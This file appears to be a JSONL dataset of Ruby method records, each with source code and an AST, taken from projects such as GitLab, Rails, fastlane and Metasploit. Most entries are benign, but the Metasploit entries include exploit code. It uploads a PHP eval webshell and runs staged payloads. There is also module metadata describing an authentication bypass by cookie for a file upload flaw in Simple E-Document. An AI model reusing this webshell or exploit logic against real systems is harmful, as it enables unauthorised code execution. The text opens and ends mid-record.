register_file_for_cleanup(@webshell_name.to_s)\n\n    case target['Type']\n    when :php\n      execute_php(payload.encoded)\n    when :unix_cmd\n      execute_command(payload.encoded)\n    when :linux_dropper\n      execute_cmdstager(linemax: 65536)\n    when :windows_command\n      execute_command(payload.encoded)\n    when :windows_dropper\n      execute_cmdstager(flavor: :psh_invokewebrequest, linemax: 65536)\n    end\n  end","complexity_score":46.7,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@post_param\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@get_param\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"php\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@webshell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?php @eval(base64_decode($_POST['\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_param\"]}]},{\"type\":\"str\",\"children\":[\"']));?>\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@webshell\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<?=base64_decode($_GET['\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@get_param\"]}]},{\"type\":\"str\",\"children\":[\"'])(base64_decode($_POST['\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post_param\"]}]},{\"type\":\"str\",\"children\":[\"']));?>\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PAYLOAD\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"upload_php_code\",{\"type\":\"ivar\",\"children\":[\"@webshell\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Webshell \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@webshell_name\"]}]},{\"type\":\"str\",\"children\":[\" upload failed, the system is likely patched.\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_file_for_cleanup\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@webshell_name\"]},\"to_s\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"php\"]},{\"type\":\"send\",\"children\":[null,\"execute_php\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"unix_cmd\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"linux_dropper\"]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"int\",\"children\":[65536]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"windows_command\"]},{\"type\":\"send\",\"children\":[null,\"execute_command\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"windows_dropper\"]},{\"type\":\"send\",\"children\":[null,\"execute_cmdstager\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"flavor\"]},{\"type\":\"sym\",\"children\":[\"psh_invokewebrequest\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"linemax\"]},{\"type\":\"int\",\"children\":[65536]}]}]}]}]},null]}]}]}","id":"3ab07109-ed35-47b6-a2f7-b65a811f4884"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/verifies_with_email_helper.rb","start_line":30,"raw_source":"def in_email_otp_grace_period?(user)\n    email_otp_required_after = user.email_otp_required_after\n\n    return false unless email_otp_required_after.present?\n\n    days_until_enrollment = (user.email_otp_required_after.to_date - Date.current).to_i\n    days_until_enrollment.between?(1, 30)\n  end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"in_email_otp_grace_period?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"email_otp_required_after\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email_otp_required_after\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email_otp_required_after\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"days_until_enrollment\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"email_otp_required_after\"]},\"to_date\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"current\"]}]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"days_until_enrollment\"]},\"between?\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[30]}]}]}]}","id":"20a71ae1-9a91-4bdd-89d0-5c5f833d0c03"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/checks/changed_blobs.rb","start_line":33,"raw_source":"def fetch_blobs_from_quarantined_repo(timeout:)\n        blobs = project.repository.list_all_blobs(\n          bytes_limit: bytes_limit,\n          dynamic_timeout: timeout,\n          ignore_alternate_object_directories: true\n        ).to_a\n\n        # A quarantine directory would generally only contain objects which are actually new but\n        # this is unfortunately not guaranteed by Git, so it might be that a push has objects which\n        # already exist in the repository. To fix this, we have to filter the blobs that already exist.\n        #\n        # This is not a silver bullet though, a limitation of this is: a secret could possibly go into\n        # a commit in a new branch (`refs/heads/secret`) that gets deleted later on, so the commit becomes\n        # unreachable but it is still present in the repository, if the same secret is pushed in the same file\n        # or even in a new file, it would be ignored because we filter the blob out because it still \"exists\".\n        #\n        # See https://gitlab.com/gitlab-org/gitlab/-/merge_requests/136896#note_1680680116 for more details.\n\n        filter_existing!(blobs)\n        populate_paths!(blobs) if with_paths\n\n        blobs\n      end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch_blobs_from_quarantined_repo\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"timeout\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"blobs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"repository\"]},\"list_all_blobs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bytes_limit\"]},{\"type\":\"send\",\"children\":[null,\"bytes_limit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"dynamic_timeout\"]},{\"type\":\"lvar\",\"children\":[\"timeout\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ignore_alternate_object_directories\"]},{\"type\":\"true\",\"children\":[]}]}]}]},\"to_a\"]}]},{\"type\":\"send\",\"children\":[null,\"filter_existing!\",{\"type\":\"lvar\",\"children\":[\"blobs\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_paths\"]},{\"type\":\"send\",\"children\":[null,\"populate_paths!\",{\"type\":\"lvar\",\"children\":[\"blobs\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"blobs\"]}]}]}","id":"52313c7b-fe7d-4a73-894e-325e622e7918"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/tag_helper_test.rb","start_line":118,"raw_source":"def test_tag_options_accepts_integer_option_when_not_escaping\n    assert_equal \"<p value=\\\"42\\\" />\", tag(\"p\", { value: 42 }, false, false)\n  end","complexity_score":2.55,"ast_json":"{\"type\":\"def\",\"children\":[\"test_tag_options_accepts_integer_option_when_not_escaping\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"<p value=\\\"42\\\" />\"]},{\"type\":\"send\",\"children\":[null,\"tag\",{\"type\":\"str\",\"children\":[\"p\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"int\",\"children\":[42]}]}]},{\"type\":\"false\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]}]}","id":"52eabce6-a5df-4577-a707-d093afdfe312"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/test_case_test.rb","start_line":133,"raw_source":"def teardown\n      ActionController::Base.view_paths.map(&:clear_cache)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"Base\"]},\"view_paths\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"clear_cache\"]}]}]}]}","id":"7653b14d-e270-48b3-b48d-f06be232cf76"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/ordered_hash_test.rb","start_line":275,"raw_source":"def test_order_after_yaml_serialization\n    @deserialized_ordered_hash = YAML.load(YAML.dump(@ordered_hash))\n\n    assert_equal @keys,   @deserialized_ordered_hash.keys\n    assert_equal @values, @deserialized_ordered_hash.values\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_order_after_yaml_serialization\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@deserialized_ordered_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"dump\",{\"type\":\"ivar\",\"children\":[\"@ordered_hash\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@keys\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@deserialized_ordered_hash\"]},\"keys\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@values\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@deserialized_ordered_hash\"]},\"values\"]}]}]}]}","id":"4018bec5-2ce9-44fd-8bb7-a1e30b27dc77"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/edit_fields/progress_edit_field.rb","start_line":209,"raw_source":"def cursor_at_end_of_input?\n    input_element.evaluate_script(\"this.selectionStart == this.value.length;\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cursor_at_end_of_input?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"input_element\"]},\"evaluate_script\",{\"type\":\"str\",\"children\":[\"this.selectionStart == this.value.length;\"]}]}]}","id":"c2b6cde0-94bc-40cd-aedc-65165f14a218"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/fixtures.rb","start_line":576,"raw_source":"def cache_fixtures(connection_pool, fixtures_map)\n        cache_for_connection_pool(connection_pool).update(fixtures_map)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cache_fixtures\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_pool\"]},{\"type\":\"arg\",\"children\":[\"fixtures_map\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cache_for_connection_pool\",{\"type\":\"lvar\",\"children\":[\"connection_pool\"]}]},\"update\",{\"type\":\"lvar\",\"children\":[\"fixtures_map\"]}]}]}","id":"e5a8bd4c-b072-4cda-9134-12ba5afe4f41"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/http_server/request.rb","start_line":27,"raw_source":"def initialize(request)\n          @request = request\n          path = request.path\n          @path, @query_string = path.split('?', 2)\n        end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"path\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@path\"]},{\"type\":\"ivasgn\",\"children\":[\"@query_string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"split\",{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]}","id":"83602e86-3d63-4a3a-9c93-353524530a3d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/search_controller_spec.rb","start_line":823,"raw_source":"def request\n            get endpoint, params: params.merge(project_id: project.id)\n          end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"endpoint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]}]}]}]}]}]}]}","id":"57d90a36-d35a-4f3f-82c6-a275d40bd4c1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => \"Simple E-Document Arbitrary File Upload\",\n        'Description' => %q{\n          This module exploits a file upload vulnerability found in Simple\n          E-Document versions 3.0 to 3.1. Attackers can bypass authentication and\n          abuse the upload feature in order to upload malicious PHP files which\n          results in arbitrary remote code execution as the web server user. File\n          uploads are disabled by default.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'vinicius777[at]gmail.com', # Auth bypass discovery and PoC, kinda\n          'bcoles' # Metasploit\n        ],\n        'References' => [\n          ['CVE', '2014-125126'],\n          # This EDB uses SQLI for auth bypass which isn't needed.\n          # Sending \"Cookie: access=3\" with all requests is all\n          # that's needed for auth bypass.\n          ['EDB', '31142']\n        ],\n        'Payload' => {\n          'DisableNops' => true,\n          # Arbitrary big number. The payload gets sent as an HTTP\n          # response body, so really it's unlimited\n          'Space' => 262144 # 256k\n        },\n        'Arch' => ARCH_PHP,\n        'Platform' => 'php',\n        'Targets' => [\n          # Tested on Simple E-Document versions 3.0 and 3.1\n          [ 'Generic (PHP Payload)', {} ]\n        ],\n        'Privileged' => false,\n        'DisclosureDate' => '2014-01-23',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The base path to Simple E-Document', '/simple_e_document_v_1_31/'])\n      ]\n    )\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Simple E-Document Arbitrary File Upload\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a file upload vulnerability found in Simple\\n\"]},{\"type\":\"str\",\"children\":[\"          E-Document versions 3.0 to 3.1. Attackers can bypass authentication and\\n\"]},{\"type\":\"str\",\"children\":[\"          abuse the upload feature in order to upload malicious PHP files which\\n\"]},{\"type\":\"str\",\"children\":[\"          results in arbitrary remote code execution as the web server user. File\\n\"]},{\"type\":\"str\",\"children\":[\"          uploads are disabled by default.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"vinicius777[at]gmail.com\"]},{\"type\":\"str\",\"children\":[\"bcoles\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2014-125126\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"EDB\"]},{\"type\":\"str\",\"children\":[\"31142\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisableNops\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Space\"]},{\"type\":\"int\",\"children\":[262144]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_PHP\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"php\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Generic (PHP Payload)\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2014-01-23\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The base path to Simple E-Document\"]},{\"type\":\"str\",\"children\":[\"/simple_e_document_v_1_31/\"]}]}]}]}]}]}]}","id":"b313100e-8a1a-459d-9f0d-df94763a5cc5"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/spec/portal/portal_stubbing.rb","start_line":183,"raw_source":"def adp_stub_certificates\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/certificate/listCertRequests.action\").\n        with(body: { \"pageNumber\" => \"1\", \"pageSize\" => \"500\", \"sort\" => \"certRequestStatusCode=asc\", \"teamId\" => \"XXXXXXXXXX\", \"types\" => \"83Q87W3TGH,WXV89964HE,5QPB9NHCEI,R58UK2EWSO,9RQEK7MSXA,LA30L5BJEU,JKG5JZ54H7,UPV3DW712I,Y3B2F3TYSI,3T2ZP62QW8,E5D663CMZW,4APLUP237T,MD8Q2VRT6A,3BQKVH9I2X,BKLRAVXMGM,T44PTHVNID,DZQUP8189Y,FGQUP4785Z,S5WE21TULA,FUOY7LWJET\" }).\n        to_return(status: 200, body: adp_read_fixture_file('listCertRequests.action.json'), headers: { 'Content-Type' => 'application/json' })\n\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/certificate/listCertRequests.action\").\n        with(body: { \"pageNumber\" => \"1\", \"pageSize\" => \"500\", \"sort\" => \"certRequestStatusCode=asc\", 'teamId' => 'XXXXXXXXXX', 'types' => '5QPB9NHCEI' }).\n        to_return(status: 200, body: adp_read_fixture_file(\"list_certificates_filtered.json\"), headers: { 'Content-Type' => 'application/json' })\n\n      # When looking for distribution or development certificates only:\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/certificate/listCertRequests.action\").\n        with(body: { \"pageNumber\" => \"1\", \"pageSize\" => \"500\", \"sort\" => \"certRequestStatusCode=asc\", 'teamId' => 'XXXXXXXXXX', 'types' => 'R58UK2EWSO' }).\n        to_return(status: 200, body: adp_read_fixture_file(\"list_certificates_filtered.json\"), headers: { 'Content-Type' => 'application/json' })\n\n      stub_request(:get, \"https://developer.apple.com/services-account/QH65B2/account/ios/certificate/downloadCertificateContent.action?certificateId=XC5PH8DAAA&teamId=XXXXXXXXXX&type=R58UK2EAAA\").\n        to_return(status: 200, body: adp_read_binary_fixture_file('aps_development.cer')) # note: binary!\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/certificate/submitCertificateRequest.action\").\n        with(body: { \"appIdId\" => \"2HNR359G63\", \"specialIdentifierDisplayId\" => \"2HNR359G63\", \"csrContent\" => adp_read_fixture_file('certificateSigningRequest.certSigningRequest'), \"type\" => \"BKLRAVXMGM\", \"teamId\" => \"XXXXXXXXXX\" }).\n        to_return(status: 200, body: adp_read_fixture_file('submitCertificateRequest.action.json'), headers: { 'Content-Type' => 'application/json' })\n      stub_request(:post, \"https://developer.apple.com/services-account/QH65B2/account/ios/certificate/revokeCertificate.action\").\n        with(body: { \"certificateId\" => \"XC5PH8DAAA\", \"teamId\" => \"XXXXXXXXXX\", \"type\" => \"R58UK2EAAA\" }).\n        to_return(status: 200, body: adp_read_fixture_file('revokeCertificate.action.json'), headers: { 'Content-Type' => 'application/json' })\n    end","complexity_score":30.6,"ast_json":"{\"type\":\"def\",\"children\":[\"adp_stub_certificates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/certificate/listCertRequests.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pageNumber\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pageSize\"]},{\"type\":\"str\",\"children\":[\"500\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sort\"]},{\"type\":\"str\",\"children\":[\"certRequestStatusCode=asc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"types\"]},{\"type\":\"str\",\"children\":[\"83Q87W3TGH,WXV89964HE,5QPB9NHCEI,R58UK2EWSO,9RQEK7MSXA,LA30L5BJEU,JKG5JZ54H7,UPV3DW712I,Y3B2F3TYSI,3T2ZP62QW8,E5D663CMZW,4APLUP237T,MD8Q2VRT6A,3BQKVH9I2X,BKLRAVXMGM,T44PTHVNID,DZQUP8189Y,FGQUP4785Z,S5WE21TULA,FUOY7LWJET\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"listCertRequests.action.json\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"https://developer.apple.com/services-account/QH65B2/account/ios/certificate/listCertRequests.action\"]}]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pageNumber\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pageSize\"]},{\"type\":\"str\",\"children\":[\"500\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sort\"]},{\"type\":\"str\",\"children\":[\"certRequestStatusCode=asc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"teamId\"]},{\"type\":\"str\",\"children\":[\"XXXXXXXXXX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"types\"]},{\"type\":\"str\",\"children\":[\"5QPB9NHCEI\"]}]}]}]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"adp_read_fixture_file\",{\"type\":\"str\",\"children\":[\"list_certificates_filtered.json\"]}]}]},{\"